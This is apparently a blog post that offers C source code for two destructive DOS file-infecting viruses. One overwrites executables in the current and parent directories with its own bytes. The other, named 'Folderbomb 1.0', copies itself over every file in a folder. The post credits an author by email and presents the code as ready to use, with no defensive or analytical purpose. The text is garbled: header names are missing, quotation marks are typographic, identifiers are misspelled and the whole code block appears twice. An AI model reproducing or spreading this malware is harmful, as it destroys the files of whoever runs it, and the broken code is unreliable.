OVERWRITE VIRUS CODE
#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst(”*.exe”,f,0);
while(!done)
{
virus=fopen(argv[0],”rb”);//open the virus in read mode
host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode
for(;fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf(”infecting %s
“,f->ff_name);
done=findnext(f);
}
}
while(!chdir(”..”));
printf(”For any querry contact
Rakesh dwivedi;Rakeshdwivedi21@gmail.com“);
REPLICATION VIRUS
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Rakesh_dwivedi(rakeshdwivedi21@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst(”*.exe”,f,0);
while(!done)
{
virus=fopen(argv[0],”rb”);//open the virus in read mode
host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode
for(;fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf(”infecting %s
“,f->ff_name);
done=findnext(f);
}
}
while(!chdir(”..”));
printf(”For any querry contact
Rakesh dwivedi;Rakeshdwivedi21@gmail.com“);
REPLICATION VIRUS
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Rakesh_dwivedi(rakeshdwivedi21@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
0 comments:
Post a Comment